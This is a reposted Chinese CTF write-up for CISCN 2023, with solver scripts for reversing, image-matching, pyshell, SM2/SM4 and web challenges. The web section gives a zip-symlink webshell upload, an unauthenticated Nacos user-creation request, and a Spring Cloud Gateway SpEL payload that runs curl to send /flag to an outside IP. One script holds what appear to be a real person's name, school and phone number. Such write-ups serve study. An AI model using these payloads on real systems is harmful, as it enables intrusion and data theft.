首页 > 其他分享 >2023CISCN部分wp

2023CISCN部分wp

时间:2023-06-19 10:58:34浏览次数:62  
标签:data section json 2023CISCN Key wp print 部分 response

re

mov不想写了

ezbyte

dwarf字节码执行

直接readelf -Wwf读取字节码

得到image-20230528162803555

最后让r12返回值为0

即四个表达式分别成立

所以

import re

print(hex((0^1237891274917891239^2616514329260088143)-1892739))
print(hex((0^1209847170981118947^8502251781212277489)-8971237))
print(hex((0^1098791727398412397^2451795628338718684)-1512312))
print(hex((0^1890878197237214971^8722213363631027234)-9123704))

然后大小端转换 hex转字符

image-20230528162943451

再加上elf文件中检测flag部分的最后四位即为flag

bytere

直接问AI

image-20230528163121933

image-20230528163128123

https://snap.berkeley.edu/snap/snap.html

在线运行

image-20230528163154785

image-20230528163213036

一个简单xor

手动输入enc

key=[10,102,13,6,28,74,3,1,3,7,85,0,4,75,20,92,92,8,28,25,81,83,7,28,76,88,9,0,29,73,0,86,4,87,87,82,84,85,4,85,87,30]

for i in range(1,len(key)-1):
    key[i] = key[i] ^ key[i-1]

print(key)
for x in key:
    print(chr(x),end="")

image-20230528163248740

misc

国粹

拿a,k两张图片中麻将的位置当作x,y

写脚本

使用cv2匹配相似度

import cv2
import matplotlib.pyplot as plt
import numpy as np
section_size = (53, 73)
lookup_table = []
first_image = cv2.imread("1.png")
for i in range(0, first_image.shape[1], section_size[0]):
    section = first_image[:, i:i + section_size[0], :]
    lookup_table.append(section)
a = cv2.imread("a.png")
k = cv2.imread("k.png")
for i in range(0, a.shape[1], section_size[0]):
    section_1 = a[:, i:i + section_size[0], :]
    section_2 = k[:, i:i + section_size[0], :]
    match_scores = []
    for template in lookup_table:
        match_scores.append(cv2.matchTemplate(section_1, template, cv2.TM_CCOEFF_NORMED))
    x_coord = np.argmax(match_scores)
    match_scores = []
    for template in lookup_table:
        match_scores.append(cv2.matchTemplate(section_2, template, cv2.TM_CCOEFF_NORMED))
    y_coord = np.argmax(match_scores)
    plt.scatter(y_coord, -x_coord, color='red')
plt.show()

image-20230528163514202

pyshell

fuzz一下发现长度能大于7,并且直接去掉等号,包括'='输入也不行

发现有exec和eval函数

但是exec()就是六位,所以考虑用一个变量存储字符串

搜索得到

image-20230528164107886

所以

""

_+'i'

_+'m'

可以将im存在_变量中

以此类推 导入os并执行os.system("cat /flag")

Crypto

基于国密SM2算法的密钥密

按照文档打即可

记得是新国密,gmssl库中应该指定mode=1

import pprint

import requests
from gmssl import sm2

url = "http://123.56.135.185:18573"
data = {
    "school": "成都理工大学",
    "name": "闫梓宇",
    "phone": "18832322189"
}
response = requests.post(url + "/api/login", json=data)
if response.status_code == 200:
    # print(response.json())
    print("Login successful!")
else:
    print("Login failed.")
id = response.json()['data']['id']
# 16进制的公钥和私钥

A_Private_Key = "75196FA0418ED0BB6722D7491224AF0AF9689C7492098F4BDF6D2A72DAD5F9C9"
A_Public_Key = 'F8D9A40C5D2AA0A436CE38D4935A1BE8AE656474F2C5A6C5A929670DA36C798B078E18B8D3E980C9D686608981FC8AD6DE02F1AEE19E7EEB322757C2E1D2CC8E'
# 上传公钥
data = {
    "id": id,
    "publicKey": A_Public_Key}
response = requests.post(url + "/api/allkey", json=data)
if response.status_code == 200:
    print("Send successful!")
else:
    print("Send failed.")
print(response.json())
sm2_crypt = sm2.CryptSM2(
    public_key=A_Public_Key, private_key=A_Private_Key, mode=1)

B_Public_Key = response.json()['data']['publicKey']
B_Private_Key_C = response.json()['data']['privateKey']
C_C = response.json()['data']['randomString']
print(C_C, "!!!!!!!")
C_C = bytes.fromhex(C_C)
C = sm2_crypt.decrypt(C_C)
print(C.hex())

print("B_Private_Key_C", B_Private_Key_C)
print("Bpublic", B_Public_Key)
print("randomSTR", C.hex())
assert len(C) == 16

from gmssl.sm4 import CryptSM4, SM4_DECRYPT

crypt_sm4 = CryptSM4()
crypt_sm4.set_key(C, SM4_DECRYPT)
B_Private_Key = crypt_sm4.crypt_ecb(bytes.fromhex(B_Private_Key_C))
assert len(B_Private_Key) == 32
B_Private_Key = B_Private_Key.hex().upper()
print("PRIVATEKEY", B_Private_Key)

sm2_crypt = sm2.CryptSM2(
    public_key=B_Public_Key, private_key=B_Private_Key, mode=1)
data = {
    "id": id
}
response = requests.post(url + "/api/quantum", json=data, timeout=10)
quantumString = response.json()['data']['quantumString']
quantumString = bytes.fromhex(quantumString)
res = sm2_crypt.decrypt(quantumString)

print(res)
assert len(res) == 16
data = {
    "id": id,
    "quantumString": res.hex().upper()
}
print(data)
response = requests.post(url + "/api/check", json=data)
print(response.json())

data = {
    "id": id,
}
response = requests.post(url + "/api/search", json=data)
pprint.pprint(response.json())

可信度量

非预期了

grep -r "flag{" / 2>/dev/null

然后cat即可

Sign_in_passwd

一个是url编码后的base64码表

一个是密文

直接在线网站解密即可

web

unzip

当解压操作可以覆盖上一次解压文件就可以造成任意文件上传漏洞

源码只判断了是不是zip,然后就解压,当名字一样的时候可以覆盖之前上传的文件

参考https://forum.butian.net/share/906的zipzip

先构造一个软链接指向/var/www/html

image-20230527114549377

此时test.zip解压出来的文件是软链接指向/var/www/html

接下来我们构造一个test目录(因为前面软链接的名字叫做test),我们在test目录下放一个webshell,然后打包这个目录

image-20230527114934988

那我们上传上去的test1.zip解压后就变成了test/shell.php,因为此时在目标机器上test是软链接指向了/var/www/html,所以我们的shell.php就上传到了/var/www/html中,访问getshell

image-20230527114332747

被加密的生产流量

直接wireshark打开,追踪modbus数据流

image-20230527142649581

MMYWMX3GNEYWOXZRGAYDA===

Base32解码,拿到flag

dumpit

首页给了几个传参形式,发现可以直接dump数据表

开始以为是注入,写文件,但是dump的话,应该是执行的是命令,可以换行注入,但是flag没有在/下,在env下

image-20230528121807421

BackendService

先打未授权添加用户

POST /nacos/v1/auth/users

username=demo&password=demo

然后看到包内配置了spring_cloud_gateway,之前在先知上看到了这个文章的

配置一个叫backcfg的data id

{
    "spring": {
        "cloud": {
            "gateway": {
                "routes": [
                    {
                        "id": "exam",
                        "order": 0,
                        "uri": "lb://backendservice",
                        "predicates": [
                            "Path=/echo/**"
                        ],
                        "filters": [
                            {
                                "name": "AddResponseHeader",
                                "args": {
                                    "name": "result",
                                    "value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{'curl','http://47.93.248.221:2333','-T','/flag'}).getInputStream())).replaceAll('\n','').replaceAll('\r','')}"
                                }
                            }
                        ]
                    }
                ]
            }
        }
    }
}

然后访问了/echo/123(不知道需不需要这步,我有时候能打出来,有时候不行)

image-20230528131002345

标签:data,section,json,2023CISCN,Key,wp,print,部分,response
From: https://www.cnblogs.com/FW-ltlly/p/17490541.html

相关文章

  • WPF 入门笔记 - 05 - 依赖属性
    如果预计中的不幸没有发生的话,我们就会收获意外的喜悦。--人生的智慧-叔本华WPF属性系统这一部分是中途加的,直接依赖属性有点迷糊......
  • SpringBoot整合JustAuth部分代码
    SpringBoot整合JustAuth部分代码gitee:ttt项目1.1、思路一、前端:gitee、github、qq图标链接二、后端1、导入相关:依赖(maven项目)2、写两个接口: 2-1:根据(用户ID、回调URL)获取(授权码) 2-2:根据(用户ID、用户秘钥、回调URL、授权码)获取token(并)获取(用户信息)......
  • #PowerBi Superchange PowerBi 序言部分笔记(2)
    Xmind本文思维导图序言部分,主要讲述了BI的分类及发展,以及作者推荐的学习方法。重点是介绍了powerbi的主要四大步骤。即:一:数据采集Dataacquisition:PowerBIhasapowerfuldataacquisitionenginethathelpsauserfetchandloadthedataneeded.Theunderlyingte......
  • shell的date的部分处理--需要记住..
    在Linux中,可以使用date命令获取日期,date获取当前完整日期date--date="3daysago"获取3天前的完整日期date--date="3daysago"+%Y%m%d  获取3天前的年月日;在date命令中,可以用%指定要显示内容,显示结果为如下形式:20120429......
  • 【.NET深呼吸】用代码写WPF控件模板
    这一次咱们来探究一下怎么用纯代码写WPF模板。模板有个共同基类 FrameworkTemplate,数据模板、控件模板等是从此类派生的,因此,该类已定义了一些通用成员。用代码构建模板,重要的成员是 VisualTree属性,它的类型是 FrameworkElementFactory。可见,模板不是直接创建可视化对象,而是......
  • wordpress插件:WP-UTF8-Excerpt使列表页只显示摘要(wordpress 6.2)
    一,安装WP-UTF8-Excerpt插件这个插件有点老,大家有更新及时的插件欢迎留言交流安装完成后,点击启用按钮二,查看效果说明:刘宏缔的架构森林—专注it技术的博客,网站:https://blog.imgtouch.com原文: https://blog.imgtouch.com/index.php/2023/06/18/wordpress-cha-jian-wputf......
  • WPF入门教程系列二十八 ——DataGrid使用示例MVVM模式(6)
    WPF入门教程系列目录WPF入门教程系列二——Application介绍WPF入门教程系列三——Application介绍(续)WPF入门教程系列四——Dispatcher介绍WPF入门教程系列五——Window介绍WPF入门教程系列十一——依赖属性(一)WPF入门教程系列十五——WPF中的数据绑定(一)   八......
  • UWP应用安装提示证书问题的解决办法
    错误描述:你需要为此应用包而安装的新证书,或者是带有受信任证书的新应用包。系统管理员或应用开发人员可以提供帮助。证书链在不受信任的根证书中进行处理,但也在其中终止(0x800B0109) 解决办法双击证书文件。点击选择,安装证书选择本地计算机,点击下一步。选择"将所有证......
  • JS的部分对象
      自定义对象:JSON里的key值必须使用“”,不然会报错 ......
  • blender 解决模型旋转后部分视角缺失
     修改视角,这个是因为我们是透视视图,改成正交视图就可以了。 下面第一个是透视视图,第二个是正交视图 ......